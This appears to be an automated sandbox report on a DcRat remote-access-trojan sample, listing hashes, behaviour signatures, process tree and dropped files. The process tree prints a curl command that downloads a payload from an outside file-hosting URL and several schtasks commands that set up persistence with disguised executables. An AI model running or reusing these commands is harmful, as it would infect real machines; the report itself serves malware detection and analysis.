Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08-11-2024 12:03

General

  • Target

    pwxz driver + km.exe

  • Size

    1.1MB

  • MD5

    f98e6472238ac5d8686545a0d48d176b

  • SHA1

    927fa5aff827297e7bbc991b6bc573f4cf6d9945

  • SHA256

    b4378b93df9c53cfb65f83695e4a68c3eceb87c49eef02ee45b85128f967e381

  • SHA512

    231b45a7c636a5d8dc6a805d7a9da61308f159540b74796e8a11329fe90ed0f72ad88e5104781156f1ff36403b1bb131e83030fef2e37cf9c139d32194d5817e

  • SSDEEP

    24576:jfANwLwUvInQgVXu9QdasS+9zxocWbnw0GcV73Fd:jfYwSnZAQdasS+Ecod

Malware Config

Signatures

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

  • Dcrat family
  • Process spawned unexpected child process 18 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 18 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\pwxz driver + km.exe
    "C:\Users\Admin\AppData\Local\Temp\pwxz driver + km.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:4844
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c curl --silent https://file.garden/ZmE_ziOgiFXI9Y48/kdmapper.bin --output C:\Windows\Speech\physmeme.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1936
      • C:\Windows\system32\curl.exe
        curl --silent https://file.garden/ZmE_ziOgiFXI9Y48/kdmapper.bin --output C:\Windows\Speech\physmeme.exe
        3⤵
        • Drops file in Windows directory
        PID:2728
    • C:\Windows\Speech\physmeme.exe
      "C:\Windows\Speech\physmeme.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:2124
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\ChainSurrogateServersessionCrt\AjINMi8J6kx3pWrbYYHviGjQ7go1FcYdMdMi4IhRz46EcvjyaTF.vbe"
        3⤵
        • Checks computer location settings
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2528
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\ChainSurrogateServersessionCrt\eTau3XGYlc3.bat" "
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:664
          • C:\ChainSurrogateServersessionCrt\comBrowserfontCommon.exe
            "C:\ChainSurrogateServersessionCrt/comBrowserfontCommon.exe"
            5⤵
            • Checks computer location settings
            • Executes dropped EXE
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1500
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\LvznYZfujE.bat"
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:3104
              • C:\Windows\system32\chcp.com
                chcp 65001
                7⤵
                  PID:436
                • C:\Windows\system32\w32tm.exe
                  w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                  7⤵
                    PID:4940
                  • C:\Users\Public\Pictures\dllhost.exe
                    "C:\Users\Public\Pictures\dllhost.exe"
                    7⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious behavior: GetForegroundWindowSpam
                    • Suspicious use of AdjustPrivilegeToken
                    PID:32
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 7 /tr "'C:\Users\Public\Pictures\dllhost.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:964
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Users\Public\Pictures\dllhost.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:4660
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 9 /tr "'C:\Users\Public\Pictures\dllhost.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:3180
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\wininit.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2868
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\wininit.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2184
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\wininit.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2112
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\dllhost.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:3996
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\dllhost.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:232
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 13 /tr "'C:\Recovery\WindowsRE\dllhost.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1120
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 10 /tr "'C:\Users\Admin\Start Menu\RuntimeBroker.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:5044
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Users\Admin\Start Menu\RuntimeBroker.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:3280
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 6 /tr "'C:\Users\Admin\Start Menu\RuntimeBroker.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:4056
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 10 /tr "'C:\Users\Admin\Favorites\Links\WmiPrvSE.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2732
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Users\Admin\Favorites\Links\WmiPrvSE.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:4304
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 6 /tr "'C:\Users\Admin\Favorites\Links\WmiPrvSE.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:4348
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "comBrowserfontCommonc" /sc MINUTE /mo 11 /tr "'C:\ChainSurrogateServersessionCrt\comBrowserfontCommon.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:4708
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "comBrowserfontCommon" /sc ONLOGON /tr "'C:\ChainSurrogateServersessionCrt\comBrowserfontCommon.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:752
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "comBrowserfontCommonc" /sc MINUTE /mo 12 /tr "'C:\ChainSurrogateServersessionCrt\comBrowserfontCommon.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1108

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\ChainSurrogateServersessionCrt\AjINMi8J6kx3pWrbYYHviGjQ7go1FcYdMdMi4IhRz46EcvjyaTF.vbe

        Filesize

        220B

        MD5

        b0c078a91915fb69bea2a9aeccf8a7cb

        SHA1

        ecfd8f5b2a04e2e430cbb39e6ced49e620f8907f

        SHA256

        2d5d92c0be94fbce3cb8615d321e964cafc0deae0f1d8d7c9ca5ec568f85151f

        SHA512

        9a624163dc575bbdf4a7b9ac223f6f57c388b266f7c5b0919dc339086098a89ab7f9973d677bcead9a1bd6f6c9c6da47499fcbb7bfc3f470d37bb576c19a9ee2

      • C:\ChainSurrogateServersessionCrt\comBrowserfontCommon.exe

        Filesize

        1.8MB

        MD5

        42b8f82f87208f2164578692825b54f4

        SHA1

        f8487bbef1aa1620c4b48964669075718ef895f6

        SHA256

        fe58084f904a2b68705124106d0811f336e23ab9e6db9b543de41c5946d716b7

        SHA512

        aba2d9fd77126e8d16dbe2b717a2682b58177ebca29312cd4b4de9a2ae7d8729af2b2956ba31f1dc108180be91d3a157ed75b76859ab2660de37e801bc09f4d3

      • C:\ChainSurrogateServersessionCrt\eTau3XGYlc3.bat

        Filesize

        115B

        MD5

        79ea866be4d7b731d61f95fb33482ea6

        SHA1

        4335e155c1f6ceeb0dc02bebbac972c5d8f666f5

        SHA256

        33466baca4d3f2c64362d48821fb248ed7e4ae32f03f8c458c06c03689fa8b45

        SHA512

        94f2b4a34e0bb312bc27ac4c1b3c6fd895786c6082346bf7cbb7a6b48b775213a0ce19e271dfa253b458788d05c526a6f0bfe985773319a816341ff8cfed540f

      • C:\Users\Admin\AppData\Local\Temp\LvznYZfujE.bat

        Filesize

        212B

        MD5

        e514ab818c691a08852a8706dacd6c5a

        SHA1

        d5be73d847c24a11bc4f831e7d97c0cd4d352740

        SHA256

        708349f4c38d0fa4f8e55f22330df94d79928c44d1c7a5605ed780bc8c6d0c23

        SHA512

        f2084ae8a0a5b8045fc47d6f8dac65e7832875a72f97ecc298c70374fb756639e31c1bd45f32eb966deff343e5d7ce103856c9b05e5d919c6a8153216ee02e75

      • C:\Windows\Speech\physmeme.exe

        Filesize

        2.1MB

        MD5

        eba1a2045ca989e59d2b39805ef52851

        SHA1

        17c5a2013f7213c152b1d212c2a84dbbc54f6065

        SHA256

        4cd4231a17dab319314fccec4054b4a1c74c0244fdedbcfbb9e9e2228962f42a

        SHA512

        1acbed79480772605e8b7fca6d31d602ab4cf4544577609f3e8b7f077ba6a0a1d26568f3a713c94f416a3fa361f9f4e3969445e277ad78da42a6ddddce5f43b1

      • memory/1500-15-0x0000000000360000-0x0000000000534000-memory.dmp

        Filesize

        1.8MB

      • memory/1500-17-0x0000000002820000-0x000000000282E000-memory.dmp

        Filesize

        56KB

      • memory/1500-19-0x000000001B060000-0x000000001B07C000-memory.dmp

        Filesize

        112KB

      • memory/1500-20-0x000000001B120000-0x000000001B170000-memory.dmp

        Filesize

        320KB

      • memory/1500-22-0x000000001B080000-0x000000001B098000-memory.dmp

        Filesize

        96KB